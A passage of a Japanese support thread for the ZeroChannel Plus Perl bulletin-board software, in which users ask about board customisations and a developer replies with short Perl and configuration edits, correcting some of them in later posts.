785 :名無しさん@ぜろちゃんねるプラス:2013/12/01(日) 23:26:47.56 ID:Nfaw0pUu0
>>769
多言語対応にしたかったという理由がありまして
utf8でできるものなのかな、と思ったのです。
ご回答ありがとうございました。

786 :名無しさん@ぜろちゃんねるプラス:2013/12/09(月) 16:36:42.90 ID:HXKN32Nh0
http://jump.x0.to/のスクリプトは公開していないのでしょうか?
また、公開して頂くことはできませんでしょうか?

787 :0ch+開発担当 ◆0chp.sx.ik :2013/12/10(火) 22:06:17.97 ID:ZztuylMA0
>>786
今のところ公開はしていません。
また、開発者が不在(?)なので確認に少し時間がかかるかも知れません。

788 :名無しさん@ぜろちゃんねるプラス:2013/12/11(水) 00:20:17.84 ID:6YRy1M8l0
>>787
了解しました。気長に待っていますので、お手数をお掛けしますがよろしくお願い致します。

789 :名無しさん@ぜろちゃんねるプラス:2013/12/11(水) 11:34:38.13 ID:/bmJu/+vi
sage無効にすることはできますか?

790 :名無しさん@ぜろちゃんねるプラス:2013/12/12(木) 02:21:56.49 ID:ea+YyacD0
いつもお世話になっています
質問なのですが、IDをしたらばの設定のように常時固定できる方法はありますか?


791 :0ch+開発担当 ◆0chp.sx.ik :2013/12/12(木) 19:07:51.88 ID:7wrU0koL0
>>789
module/vara.pl の139行目あたりの以下の行をコメントアウトまたは削除してください。
  $updown = '' if ($Form->Contain('mail', 'sage'));

>>790
module/galadriel.pl の658行目あたりの以下の行をコメントアウトまたは削除してください。
  $ctx->add(':', join('-', (localtime)[3,4,5]));

792 :名無しさん@ぜろちゃんねるプラス:2013/12/13(金) 16:54:18.17 ID:mX+XbfBw0
>>717の件ですが、1件ではなく数件表示させるにはどうしたら良いでしょうか?

793 :790:2013/12/13(金) 17:01:56.41 ID:41dM26NH0
>>791
回答ありがとうございます
諸事情あってまだ掲示板が0.7.3なのですが、そちらのバージョンでの設定方法もあればお願いしたいです
お手数かけて申し訳ありません

794 :名無しさん@ぜろちゃんねるプラス:2013/12/13(金) 17:26:00.57 ID:mX+XbfBw0

>>792の追記です
可能であれば

1: スレッド :
レス番号 : 最新レスのコメント
レス番号 : 最新レスのコメント
レス番号 : 最新レスのコメント
と表示したいと思っています
よろしくお願いします

795 :0ch+開発担当 ◆0chp.sx.ik :2013/12/13(金) 20:32:26.45 ID:PQ9ZGH3B0
>>793
module/galadriel.pl の 630行目あたりの行を以下のように書き換えてください。
  my @times = localtime time;
        ↓
  my @times = localtime 0;

796 :0ch+開発担当 ◆0chp.sx.ik :2013/12/13(金) 20:43:06.96 ID:PQ9ZGH3B0
>>792,794
これでどうでしょうか。
  $Page->Print("<a href=\"$path\">$i: $name($res)</a><br>\n");
  if (open(my $fh, '<', "$basePath/dat/$key.dat")) {
    my @lines = <$fh>;
    close($fh);
    require Encode;
    for my $n ($#lines-2 .. $#lines) {
      next if ($n < 0);
      my $text = (split(/<>/, $lines[$n], -1))[3];
      $text =~ s/<[bh]r>/ /gi;
      $text =~ s/<[^>]+>//g;
      $text =~ s/\s+/ /g;
      $text = Encode::decode('sjis', $text);
      $text = substr($text, 0, 100);
      $text = Encode::encode('sjis', $text);
      $n++;
      $Page->Print("&nbsp; $n: $text<br>\n");
    }
  }
  #$Page->Print("<br> \n");

797 :名無しさん@ぜろちゃんねるプラス:2013/12/13(金) 21:37:27.38 ID:mX+XbfBw0
>>796
ありがとうございます
ただ、これと>>726を組み合わせたところ、レス部分が文字化けしてしまいました
文字化けせずに表示させることはできますでしょうか?



798 :名無しさん@ぜろちゃんねるプラス:2013/12/13(金) 21:50:34.52 ID:AK8OYINQ0
携帯のindex画面でもPC版indexと同じようにコメントフォームを表示させたいのですが可能でしょうか?
スレッドとスレッドの間に表示させたいと思っています

799 :798 :2013/12/14(土) 00:46:57.12 ID:g7FNZ9fD0
798です
携帯index画面の件ですが自己解決しました

800 :0ch+開発担当 ◆0chp.sx.ik :2013/12/14(土) 01:57:51.96 ID:DQFXFJcS0
>>797
      $text = substr($text, 0, 100);
の1行ではなく
      $text = substr($text, 0, 100);
      $text = Encode::encode('sjis', $text);
の2行を>>796のコードで置き換えてみてください。

801 :名無しさん@ぜろちゃんねるプラス:2013/12/14(土) 02:12:41.32 ID:N0SVfToI0
>>800
ありがとうございます。やってみます。
また、度々で申し訳ないのですが、>>796で投稿時刻を取得することはできますか?

802 :0ch+開発担当 ◆0chp.sx.ik :2013/12/14(土) 11:41:58.49 ID:DQFXFJcS0
>>801
      my $text = (split(/<>/, $lines[$n], -1))[3];

      my (undef, undef, $date, $text) = split(/<>/, $lines[$n], -1);
      $date = $& if ($date =~ /^[^ ]+ [^ ]+/);
のようにすれば日付部分が取り出せます

803 :名無しさん@ぜろちゃんねるプラス:2013/12/14(土) 12:55:16.82 ID:LwrD8YWl0
>>802
掲示板一覧がなぜか新しいタブで開かれません。なぜでしょうか?

804 :名無しさん@ぜろちゃんねるプラス:2013/12/14(土) 13:53:31.19 ID:LwrD8YWl0
あ、すいません
安価に意味はないです

805 :名無しさん@ぜろちゃんねるプラス:2013/12/14(土) 14:03:52.53 ID:LwrD8YWl0
すいません、自決しました
リンクを空にしてblankタグを入れたらできました

806 :名無しさん@ぜろちゃんねるプラス:2013/12/14(土) 18:20:32.67 ID:LwrD8YWl0
所で聞きたいのですが、一日の内に立ったスレ数をカウントすることは可能なのでしょうか?

807 :0ch+開発担当 ◆0chp.sx.ik :2013/12/14(土) 18:39:06.10 ID:DQFXFJcS0
>>806
可能です。

http://sourceforge.jp/projects/zerochplus/scm/svn/blobs/head/codes/0ch_count.pl
このプラグインは一日のうちに書き込まれたレス数を数えるものですが、
カウントする条件を if ($Sys->Equal('MODE', 1)) とすればスレ立て(>>1)のみをカウントすることができます。

※このプラグインの例ではすべての板を合わせてカウントするようになっています。

808 :名無しさん@ぜろちゃんねるプラス:2013/12/14(土) 18:43:52.82 ID:N0SVfToI0
>>802
できました
ありがとうございました

809 :名無しさん@ぜろちゃんねるプラス:2013/12/14(土) 18:54:30.66 ID:LwrD8YWl0
>>807
成程
有難うございました

810 :名無しさん@ぜろちゃんねるプラス:2013/12/14(土) 20:12:21.68 ID:g7FNZ9fD0
rcgiで>>717のように一行表示できますか?リンクも無効に出来れば嬉しいです

811 :0ch+開発担当 ◆0chp.sx.ik :2013/12/14(土) 21:29:23.76 ID:DQFXFJcS0
>>810
r.cgi の sub PrintResponse 内の「# 表示範囲内か…」という行以降を全て
以下のコードに置き換えれば1行1レスで番号+本文のみ(HTML削除)になります。
  $elem[3] =~ s/<[bh]r>/ /gi;
  $elem[3] =~ s/<[^>]+>//g;
  $elem[3] =~ s/\s+/ /g;
  $Page->Print("<br>\n") if ($n == 1);
  $Page->Print("$n: $elem[3]<br>\n"); # 名前は$elem[0] 日時IDは$elem[2]

812 :名無しさん@ぜろちゃんねるプラス:2013/12/14(土) 22:58:10.74 ID:QkD/e3e4I
携帯用スレッドでID非表示にすることできますか

813 :0ch+開発担当 ◆0chp.sx.ik :2013/12/14(土) 23:04:37.81 ID:DQFXFJcS0
>>812
r.cgi の sub PrintResponse 内の$Page->Printの直前あたりに
  $elem[2] = $& if ($elem[2] =~ /^[^ ]+ [^ ]+/);
というコードを追加してください。

814 :名無しさん@ぜろちゃんねるプラス:2013/12/14(土) 23:41:53.55 ID:QkD/e3e4I
ありがとうございました

815 :名無しさん@ぜろちゃんねるプラス:2013/12/15(日) 11:40:13.32 ID:LHwDG0290
>>811
こちらで、今までと同じように省略表示をするのはどうすれば良いでしょうか?

816 :0ch+開発担当 ◆0chp.sx.ik :2013/12/15(日) 12:43:40.07 ID:Bdmv8/Gd0
>>815
  $elem[3] =~ s/<[bh]r>/ /gi;
  $elem[3] =~ s/<[^>]+>//g;
  $elem[3] =~ s/\s+/ /g;
  require Encode;
  $elem[3] = Encode::decode('sjis', $text);
  # 表示範囲内か指定表示ならすべて表示する
  if ($oSYS->GetOption(5) == 1 || length($elem[3]) <= 100) {
    $elem[3] = Encode::encode('sjis', $elem[3]);
  # 表示範囲を超えていたら省略表示をする
  } else {
    $elem[3] = substr($elem[3], 0, 90);
    $elem[3] = Encode::encode('sjis', $elem[3]);
    my $respath = $oConv->CreatePath($oSYS, 'O', $oSYS->Get('BBS'), $oSYS->Get('KEY'), "${n}n");
    $elem[3] = "$elem[3] ...<a href=\"$respath\">省略</a>";
  }
  $Page->Print("<br>\n") if ($n == 1);
  $Page->Print("$n: $elem[3]<br>\n"); # 名前は$elem[0] 日時IDは$elem[2]

動作確認はしていません。

817 :名無しさん@ぜろちゃんねるプラス:2013/12/15(日) 13:47:02.66 ID:jUVw0zGr0
すいません、VIPクオリティというプラグインのIQをIDのように日にちごとに変える方法はあるでしょうか?

818 :名無しさん@ぜろちゃんねるプラス:2013/12/15(日) 13:51:08.64 ID:LHwDG0290
>>816
ありがとうございました

819 :0ch+開発担当 ◆0chp.sx.ik :2013/12/15(日) 14:24:57.52 ID:Bdmv8/Gd0
>>817
Vip_quality.plを以下の通り書き換えてください。
先頭の「-」は行削除、「+」は行追加、指定なしはそのままです。

1040:
-  $form{'from'} =~ s/(\!IQ)/ <\/b>【IQ$$setting{'$host'}[2]】<b> /;
+  $form{'from'} =~ s/(\!IQ)/ <\/b>【IQ$$setting{'$rand'}[2]】<b> /;
1162:
-  if ($$setting{'$host'}[2] < $$setting{'ships_iq_limit'}){
+  if ($$setting{'$rand'}[2] < $$setting{'ships_iq_limit'}){
1289:
-  $dame = $dame + (255 - $$setting{'$host'}[0]) * 4 + $$dame_ref[0];
+  $dame = $dame + (255 - $$setting{'$rand'}[0]) * 4 + $$dame_ref[0];
516:
.   $setting{'$host'} = \@host;
+  require Digest::MD5;
+  $setting{'$rand'} = [unpack('CCCC', Digest::MD5::md5(join('.', @host, (localtime)[4,5,6])))];

820 :名無しさん@ぜろちゃんねるプラス:2013/12/15(日) 14:53:33.14 ID:jUVw0zGr0
>>819
できました!
ありがとうございます

821 :790:2013/12/15(日) 20:26:34.57 ID:NkBL9FZh0
お礼が遅れて申し訳ありません
ありがとうございました、無事にID固定出来ました

822 :名無しさん@ぜろちゃんねるプラス:2013/12/15(日) 20:50:15.51 ID:B1l/2iqu0
携帯用indexに表示されるスレッドの横に名前を乗っけることはできますか?

823 :名無しさん@ぜろちゃんねるプラス:2013/12/18(水) 09:57:40.81 ID:8Vu+t5l1I
上の方と被りますがスレッド一覧に名前を表示する方法はありますでしょうか?


824 :0ch+開発担当 ◆0chp.sx.ik :2013/12/18(水) 14:42:39.95 ID:YFXypRHX0
>>822,823
レスが遅れてすみません。

携帯用index
module/varda.pl の159行目の
  $Page->Print("<a href=\"$path\">$i: $name($res)</a><br> \n");
という1行を以下のコードに書き換えてください
  my $onename = '';
  my $basePath = $Sys->Get('BBSPATH') . '/' . $Sys->Get('BBS');
  if (open(my $fh, '<', "$basePath/dat/$key.dat")) {
    $text = <$fh>;
    close($fh);
    $onename = (split(/<>/, $_, -1))[0];
    $onename =~ s/<[^>]+>//g;
    $onename = " ($onename)";
  }
  $Page->Print("<a href=\"$path\">$i: $name($res)</a>$onename<br> \n");

PC用indexは392-399行目あたりを同様に書き換えてください。
subbackは243行目あたりです。

>>717も含めてこのような処理は .htmlを生成するたび(書き込まれるたび)に
10個や数十個の .datを読み込むことになるので負荷には気をつけてください。

825 :名無しさん@ぜろちゃんねるプラス:2013/12/18(水) 15:42:40.00 ID:JIzH3F/Q0
横から失礼します
>>796>>824を組み合わせることはできますでしょうか?
やってみたところ、うまく動作しないようです

826 :0ch+開発担当 ◆0chp.sx.ik :2013/12/18(水) 18:54:20.03 ID:YFXypRHX0
すみません、訂正です。
>>824
  $text = <$fh>;

  $onename = <$fh>;
の間違いでした。

>>825
$onenameの取得部分を
  $onename = $lines[0];
として組み合わせてください。

827 :名無しさん@ぜろちゃんねるプラス:2013/12/18(水) 19:44:32.78 ID:XrZSUJo30
>>826
了解しました
ありがとうございました

828 :名無しさん@ぜろちゃんねるプラス:2013/12/19(木) 07:17:57.23 ID:XSYyuaRw0
>>827
やってみたのですが、名前だけじゃなくその後の本文まで続いて表示されてしまうようです

829 :名無しさん@ぜろちゃんねるプラス:2013/12/19(木) 19:09:29.07 ID:pJ66FetN0
失礼します。
全部読む 最新50 1-100 にいくと404 Not Foundになってしまいます。
いろいろ探してみたのですが、わかりませんでした。ファイルのパーミッションもいろいろ試してみましたが、変わりませんでした。
よろしくお願いします

830 :0ch+開発担当 ◆0chp.sx.ik :2013/12/19(木) 20:03:30.01 ID:DyureaBE0
>>828,>>822,>>823
すみませんもう一箇所ミスがありました。
x:  $onename = (split(/<>/, $_, -1))[0];
o:  $onename = (split(/<>/, $onename, -1))[0];


>>829
404 Not Foundはファイルが見つからないという意味です。
プログラムのエラーやパーミッションは関係ありません。

システム設定の基本設定を間違えていませんか?
また、基本設定を変更した後は掲示板一覧から「index更新」を行ってください。

831 :名無しさん@ぜろちゃんねるプラス:2013/12/19(木) 20:08:57.27 ID:hXKBVv2t0
>>599のような本文欄にコマンドを使用してまだかなCGIなどの規制データを操作したいのですが、残念ながらプログラミングの知識がまったくありません
お差し支えなければ作ってくれないでしょうか?

832 :0ch+開発担当 ◆0chp.sx.ik :2013/12/19(木) 20:41:22.21 ID:DyureaBE0
>>831
数日中にサンプルを作ります。
具体的には、どのような場合に何を規制するつもりですか?

833 :名無しさん@ぜろちゃんねるプラス:2013/12/19(木) 20:52:17.06 ID:hXKBVv2t0
>>832
基本的に本文欄コマンドで<ki></ki>に囲まれた部分をまだかなCGIに書き込むという感じです(要するに規制する)
欲を言うのならば特定の規定を守らなかった人(たとえばスレを特定病数以内にn個以上建てた人)を自動で規制リストに加えて、それを特定の板の特定スレに「○○を○○で規制しました」と書き込むような感じです
後者はできたら、で構わないです

834 :名無しさん@ぜろちゃんねるプラス:2013/12/20(金) 00:13:00.70 ID:7f6jOJLp0
>>830
829です
解凍ありがとうございます。
基本設定については何もいじらず稼働させております。
スレッドの作成やレスの書き込みなどは正常に作動しますが、上記箇所のみ404になってしまいます。
一回削除して新しく作成してみましたが変わりませんでした。

835 :名無しさん@ぜろちゃんねるプラス:2013/12/20(金) 07:27:07.32 ID:CETsmwEV0
>>830
ありがとうございます
現在、>>796>>824を組み合わせようと色々試したのですがやっぱりうまくいかないようです
名前は出るようになったのですが、名前を記載し書き込んでも全て「名無し」で表示されてしまいます


836 :0ch+開発担当 ◆0chp.sx.ik :2013/12/20(金) 13:32:45.44 ID:Con7CZrn0
>>833
了解しました。

>>834
test/read.cgi は転送されていますか?
使用しているサーバーなどの構成を教えて下さい。

>>835
 >>824>>1 の名前を表示するようにしてあります。
最終書き込みの名前を表示する場合は
  ($onename, my $text) = (split(/<>/, $lines[$n], -1))[0,3];
としてください。

837 :名無しさん@ぜろちゃんねるプラス:2013/12/20(金) 15:35:07.25 ID:7f6jOJLp0
>>836
834です
test/read.cgiは転送されております。
サーバー構成は
さくらVPSサーバー CentOS6.4
nginx 1.4.4
PHP 5.4.22 perl-CGI perl-FCGI 
ぜろちゃんねるプラス Version 0.7.4
です。
レスの書き込みを行うと、作成した掲示板のlog内にも正常に書き込まれています。

838 :名無しさん@ぜろちゃんねるプラス:2013/12/20(金) 15:42:04.70 ID:7f6jOJLp0
837に追記です。
test/read.cgiにアクセスすると
ページタイトルにERROR!!
ページに2011
とでます。

839 :名無しさん@ぜろちゃんねるプラス:2013/12/20(金) 17:40:09.80 ID:CETsmwEV0
>>836
ありがとうございます
うまく組み合わせることができ、表示されるようになりました

あと一点ご質問なのですが、
my (undef, undef, $date, $text) = split(/<>/, $lines[$n], -1);
($onename, my $text) = (split(/<>/, $lines[$n], -1))[0,3];
は一行もしくは簡潔にまとめることはできますでしょうか?

840 :839:2013/12/20(金) 17:47:20.64 ID:CETsmwEV0
失礼しました

my (undef, undef, $date, $text) = split(/<>/, $lines[$n], -1);
($onename, my $text) = (split(/<>/, $lines[$n], -1))[0,3];

は最終書き込みではなく、
レス番号 : 最新レスのコメント
レス番号 : 最新レスのコメント
レス番号 : 最新レスのコメント
での想定です

841 :名無しさん@ぜろちゃんねるプラス:2013/12/20(金) 18:55:47.81 ID:7f6jOJLp0
837です
自己解決できました。
参考までに↓
nginxの場合、PATH_INFOの取得をするために設定を
location ~ \.cgi($|/) {
include fastcgi_params;
fastcgi_pass 127.0.0.1:8999;
fastcgi_index index.cgi;
fastcgi_split_path_info ^(.+\.cgi)(/.*)$;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
fastcgi_param PATH_INFO $fastcgi_path_info;
fastcgi_param PATH_TRANSLATED $document_root$fastcgi_path_info;
}
としないといけないことがわかりました。

842 :0ch+開発担当 ◆0chp.sx.ik :2013/12/20(金) 19:19:40.62 ID:Con7CZrn0
>>839-840
どのように組み合わせているかにもよりますが、単に
  my ($name, undef, $date, $text) = split(/<>/, $lines[$n], -1);
でいいと思います。 ※ onenameの代わりにnameという変数名にしています
各行がどのような処理を行っているのか一度ご自分で確認してみることをおすすめします。


>>841
PATH_INFOが設定されていなかったんですね。

843 :名無しさん@ぜろちゃんねるプラス:2013/12/20(金) 20:14:45.26 ID:7f6jOJLp0
837です
ありがとうございました。
最後にもう一つ質問ですが、
全部読む 最新50 1-100 にGoogleAdsを入れたいのですが、どこに記入したらいいですか?


844 :0ch+開発担当 ◆0chp.sx.ik :2013/12/20(金) 20:39:37.06 ID:Con7CZrn0
>>843
module/varda.pl の500行目付近のHTMLを書き換えてください。
※広告の個数制限には気をつけてください。

845 :名無しさん@ぜろちゃんねるプラス:2013/12/21(土) 06:46:41.56 ID:Y8Ol8ks50
>>842
無事できました
何日もありがとうございました

ついでに、ご報告なのですが
BBS Other Setting>その他設定
の文字参照のところが、使用可�と文字化けしています

846 :名無しさん@ぜろちゃんねるプラス:2013/12/21(土) 23:44:08.08 ID:gTbxnQzl0
>>844
ありがとうございます。
うまくできました。

847 :0ch+開発担当 ◆0chp.sx.ik :2013/12/22(日) 12:40:16.61 ID:Q9m4v2GE0
>>845
報告ありがとうございます。

848 :名無しさん@ぜろちゃんねるプラス:2013/12/26(木) 18:35:55.31 ID:TsBSqDRQ0
Cookie式のカウントプラグインで、session.plを使用する方法を教えてください
ちなみに初心者で技術はないに等しいです

849 :0ch+開発担当 ◆0chp.sx.ik :2013/12/27(金) 15:09:40.21 ID:3A7OCn8P0
>>833
遅くなりましたがこれでいかがでしょうか。
http://svn.sourceforge.jp/svnroot/zerochplus/codes/0ch_denycmd.pl

>規定を守らなかった人を自動で規制リストに加えて
>特定スレに書き込む
これらについてはプラグインで実装するのは難しく、本体を改造する必要があります。

850 :0ch+開発担当 ◆0chp.sx.ik :2013/12/27(金) 15:37:13.18 ID:3A7OCn8P0
>>848
session.pl の代わりに CGI::Session を使ってサンプルを作りました。
参考にするなり改造するなり、自由に利用してください。
http://svn.sourceforge.jp/svnroot/zerochplus/codes/0ch_sessioncount.pl

851 :名無しさん@ぜろちゃんねるプラス:2013/12/27(金) 15:39:34.08 ID:nut1TpWh0
>>850
ありがとうございます!

852 :名無しさん@ぜろちゃんねるプラス:2013/12/27(金) 17:01:58.94 ID:WLahH2S/0
スレッド作成にパスをかけることはできますでしょうか?

853 :0ch+開発担当 ◆0chp.sx.ik :2013/12/27(金) 18:54:43.70 ID:3A7OCn8P0
>>852
スレッド作成ができるユーザーを制限する方法はいくつかあると思いますが、
スレッド作成権限を持ったキャップを作って、スレ立てをキャップオンリーに設定するのが一番簡単だと思います。

854 :名無しさん@ぜろちゃんねるプラス:2013/12/27(金) 20:26:15.36 ID:WLahH2S/0
なるほど
ちなみにパスワード形式にすることはできないでしょうか?

855 :0ch+開発担当 ◆0chp.sx.ik :2013/12/27(金) 20:43:54.47 ID:3A7OCn8P0
>>854
一言にパスワードと言ってもいろんなパターンがあると思います。
・投稿フォームにパスワード欄を加える (専ブラ不可)
・BASIC認証 (専ブラ不可)
・キャップ (パスワード認証の一種)
など、どのようなものを意図しているのか具体的に説明してください。

856 :名無しさん@ぜろちゃんねるプラス:2013/12/28(土) 07:53:53.28 ID:UWNiwPMg0
>>855
・投稿フォームにパスワード欄を加える (専ブラ不可)

これが希望です

857 :0ch+開発担当 ◆0chp.sx.ik :2013/12/28(土) 13:01:31.35 ID:93f1DxQU0
>>856
bbs.cgi 198行目あたりに以下のコードを追加してください(行頭の記号を除く)。
.   }
+  if (!$Form->Equal('pass', 'pasuwa-do')) { # パスワード確認
+    return 204;
+  }
.   $Form->Set('key', int(time));
※番号を変えてinfo/errmsg.cgiに対応するメッセージを追加すれば
任意のエラーメッセージを表示可能です。

さらに320行目付近のHTML(PC用)にパスワード欄を追加してください。
  パス:<input type="password" name="pass"><br>
ケータイ用は374行目付近です。

858 :名無しさん@ぜろちゃんねるプラス:2013/12/28(土) 16:45:44.82 ID:EBZJTPFT0
HOST_old.cgiとはなんでしょうか

859 :0ch+開発担当 ◆0chp.sx.ik :2013/12/28(土) 17:07:42.07 ID:93f1DxQU0
>>858
ホストログ(HOST.cgi)から溢れた過去のログです。
不要であれば削除しても構いません。

860 :名無しさん@ぜろちゃんねるプラス:2013/12/28(土) 17:18:26.59 ID:EBZJTPFT0
容量が鯖の1ファイルごとのものを超えるほどきついのですが
1M以上生成しないようにするにはどうしたらよいでしょうか

861 :0ch+開発担当 ◆0chp.sx.ik :2013/12/28(土) 20:19:48.58 ID:93f1DxQU0
>>860
module/imrahil.pl 221-235行目のifブロックを
以下のコードに置き換えれば_oldログは生成されなくなります。
  while ($this->{'SIZE'} > $this->{'LIMIT'}) {
    shift @{$this->{'LOGS'}};
    $this->{'SIZE'}--;
  }

862 :名無しさん@ぜろちゃんねるプラス:2013/12/28(土) 20:37:10.57 ID:EBZJTPFT0
>>861
ありがとうございます!

863 :名無しさん@ぜろちゃんねるプラス:2013/12/28(土) 22:22:17.46 ID:S3AJCUJJ0
関係ないかも知れんがBASIC認証はJaneだけいけた(http://user:pass@host/path/
V2Cとかその他ブラウザではたぶん無理

864 :名無しさん@ぜろちゃんねるプラス:2013/12/28(土) 22:29:19.91 ID:8B9PY93t0
>>857
ありがとうございます

865 :名無しさん@ぜろちゃんねるプラス:2013/12/29(日) 08:32:53.80 ID:Nb+PXX/90
削除したスレ・及びレスを復活させる方法はあるでしょうか?
res_hukki_061004.zipのような

866 :0ch+開発担当 ◆0chp.sx.ik :2013/12/29(日) 12:55:22.92 ID:Stp+pvPd0
>>865
削除したスレッドについてはサーバー上からファイルが削除されるため復活することはできません。
.datがあるならそれをdatフォルダに入れて「subject再生成」を行うことで復活させることができます。

削除したレスについては、復活位置の特定が難しいことやアンカーずれが発生しうること、
ログとの整合性を取るのが難しいことなどから復活機能の実装は諦めました。

867 :名無しさん@ぜろちゃんねるプラス:2013/12/29(日) 13:15:46.16 ID:Nb+PXX/90
なるほど、了解しました
ありがとうございました
ちなみにhttp://www12.atwiki.jp/0ch/pages/28.htmlのアシストスクリプトというのはどこに落ちているのでしょう
それとも完全に消えてしまったのでしょうか

868 :0ch+開発担当 ◆0chp.sx.ik :2013/12/29(日) 13:32:12.67 ID:Stp+pvPd0
>>867
その辺りのスクリプトは「ぜろちゃんねるプラス」が管理しているわけではありません。
消えているものは運が良ければInternet Archive上に残っているかもしれません。

869 :名無しさん@ぜろちゃんねるプラス:2013/12/29(日) 13:44:32.46 ID:Nb+PXX/90
>>868
わかりました
ありがとうございました

870 :名無しさん@ぜろちゃんねるプラス:2013/12/29(日) 13:59:40.04 ID:Nb+PXX/90
すいません、もう一つ質問し忘れていました
★がないキャップ、いわば規制や制限を回避できる特別キャップというものは作ることができるでしょうか

871 :0ch+開発担当 ◆0chp.sx.ik :2013/12/29(日) 14:04:42.12 ID:Stp+pvPd0
>>870
可能です。
システム共通権限なしでキャップを作り、そのキャップを
「コテハン★表示」権限なしのキャップグループに所属させればできます。

872 :名無しさん@ぜろちゃんねるプラス:2013/12/29(日) 14:09:41.70 ID:Nb+PXX/90
なるほど
ありがとうございました

873 :名無しさん@ぜろちゃんねるプラス:2013/12/29(日) 21:51:51.42 ID:dgs3WOuy0
>>505の方と同じくNYという名前のスパムが頻繁に来るようになしました
スパムキラープラグインの設定はかなり厳しくしているのですが、ほとんど効果ありません
内容は本文内に英文と日本語を織り交ぜて(herfタグたAタグはない)、URLを貼り付けるいうものです
.jpドメインだけ許可しようと思っているのですが、これだと日本からの書き込みも弾いてしまいます
そこで、ドメイン規制のホワイトリストを設定できますでしょうか?

874 :0ch+開発担当 ◆0chp.sx.ik :2013/12/29(日) 23:06:55.00 ID:Stp+pvPd0
>>873
>>593 >ホスト規制で「(?<!\.jp)(?<!\.bbtec\.net)\z」と指定すればドメインを限定できます。

スパムキラーで効果がほとんどないということは改善の余地ありということですね。
よければpastebinあたりに、通過したNYスパムのサンプルをいくつか貼ってみてください。

875 :名無しさん@ぜろちゃんねるプラス:2013/12/30(月) 04:13:11.86 ID:hW/B118w0
スレを立てたのですが、掲示板トップでスレが表示されません。改善策を教えて下さい。

876 :名無しさん@ぜろちゃんねるプラス:2013/12/30(月) 07:54:58.61 ID:igah6vtG0
2chの人大杉のようなシステムをread.cgiに組み込むにはどうしたらよいでしょうか

877 :名無しさん@ぜろちゃんねるプラス:2013/12/30(月) 16:07:55.60 ID:igah6vtG0
もう1つ
指定した時間にスレッドを自動で建てたいのですが、どうしたらよいでしょうか
ちなみにcronは使えません

878 :0ch+開発担当 ◆0chp.sx.ik :2013/12/30(月) 18:18:05.96 ID:/CWMYeIc0
>>875
システム設定->その他設定->動作モードの「高速書き込みモード」のチェックは外してありますか?
これが有効になっているとindex.htmlは更新されません。

あるいは、パーミッションの設定は間違っていませんか?
http://sourceforge.jp/projects/zerochplus/wiki/Permission

そうでなければシステム設定->基本設定の設定が間違っている可能性があります。

879 :0ch+開発担当 ◆0chp.sx.ik :2013/12/30(月) 18:35:21.11 ID:/CWMYeIc0
>>876
人大杉というと、高負荷時にread.cgiの処理を止めて負荷を軽減するシステムのことですよね。
CGIで高負荷判定を行う方法を知らないので私にはどうにもできません。

>>877
read.cgiへのアクセスが多いのであれば、CGIのみで擬似的にcronのようなことができなくはないです。
アクセスが少ないのであれば、SetCronJobやMyWebCron、Google App Engineのcronなどを利用する必要があります。
スレッドを建てる処理については>>440のプログラムを利用してください。

880 :名無しさん@ぜろちゃんねるプラス:2013/12/30(月) 18:54:42.29 ID:igah6vtG0
わかりました
ありがとうございます

881 :名無しさん@ぜろちゃんねるプラス:2013/12/31(火) 01:27:42.42 ID:33fC3g4E0
【掲示板トップ】
┏━━━━━━━━┓┏━━━━━━━━━━━━━━━━━━━┓
┃ローカルルール ┃┃スレ内容               ┃
┃掲示板一覧   ┃┃【1:1】○○するスレ          ┃ 
┃スレ一覧    ┃┃1 名前:名無しさん           ┃
┃        ┃┃<内容>               ┃
┃1.○○するスレ ┃┗━━━━━━━━━━━━━━━━━━━┛
┃2.○○スレ   ┃┏━━━━━━━━━━━━━━━━━━━┓
┃3.○○     ┃┃【1:1】 ○○スレ           ┃
┃        ┃┃1 名無しさん             ┃
┃        ┃┃<内容>               ┃
┃        ┃┗━━━━━━━━━━━━━━━━━━━┛
┃        ┃┏━━━━━━━━━━━━━━━━━━━┓
┃        ┃┃【1:1】○○              ┃
┗━━━━━━━━┛┃1 名無しさん             ┃
          ┃<内容>               ┃
          ┗━━━━━━━━━━━━━━━━━━━┛
                          
【read】
┏━━━━━━━━┓┏━━━━━━━━━━━━━━━━━━━┓
┃ローカルルール ┃┃スレ内容               ┃
┃掲示板一覧   ┃┃【1:1】○○するスレ          ┃ 
┃スレ一覧    ┃┃1 名前:名無しさん           ┃
┃1.○○するスレ ┃┃                    ┃
┃2.○○スレ   ┃┃                   ┃
┃3.○○     ┃┃                   ┃
┃        ┃┃                   ┃
┃        ┃┃                   ┃
┃        ┃┃                   ┃
┃        ┃┃                   ┃
┃        ┃┃                   ┃
┗━━━━━━━━┛┗━━━━━━━━━━━━━━━━━━━┛

掲示板のテーブルをこのように、横に並べる設定方法を教えて下さい。
それと、スレ一覧を1スレごとに改行する方法もお願いします。

882 :名無しさん@ぜろちゃんねるプラス:2013/12/31(火) 01:28:46.11 ID:33fC3g4E0
すみません。>>881がずれました。

883 :名無しさん@ぜろちゃんねるプラス:2013/12/31(火) 13:25:54.65 ID:aEJL88rL0
移転するためスレを移そうとしてdatファイルだけを移したら何の因果かindex.html自体が前の鯖につながるものとなってしまい書き込もうとすると前の鯖に行ってしまいます 
どうしたらよいでしょうか

884 :名無しさん@ぜろちゃんねるプラス:2013/12/31(火) 13:32:00.94 ID:aEJL88rL0
testファイルも移しました

885 :0ch+開発担当 ◆0chp.sx.ik :2013/12/31(火) 15:28:14.74 ID:o1I1MCZ10
>>881
○ index.html
module/varda.plの sub PrintIndexMenu, sub PrintIndexPreview 内のHTML部分を編集してください。
具体的には以下のような編集になると思います。
・395,398行目のHTMLに改行タグを加える
・メニューのtableにstyle="float: left;"を指定
・プレビューの方のforeachループの外側でdivタグで囲む
・メニュー・プレビューのtableの幅を調整する

○ read.cgi
read.cgiの sub PrintReadMenu, sub PrintReadContents 内のHTML部分を編集してください。
こちらは元々ないものを加える事になるのでかなり大変です。
現状ではPerlコードとHTMLが入り交じっているのでなおさら編集しにくいです。

886 :0ch+開発担当 ◆0chp.sx.ik :2013/12/31(火) 15:30:18.44 ID:o1I1MCZ10
>>883-884
システム設定->基本設定から稼動サーバ等を設定しなおしてください。
その後、一度掲示板一覧から「index更新」を行ってください。

887 :名無しさん@ぜろちゃんねるプラス:2013/12/31(火) 15:50:03.62 ID:aEJL88rL0
>>886
出来ました!ありがとうございます

888 :名無しさん@ぜろちゃんねるプラス:2013/12/31(火) 15:51:07.64 ID:33fC3g4E0
>>885
ありがとうございました。試してみます。

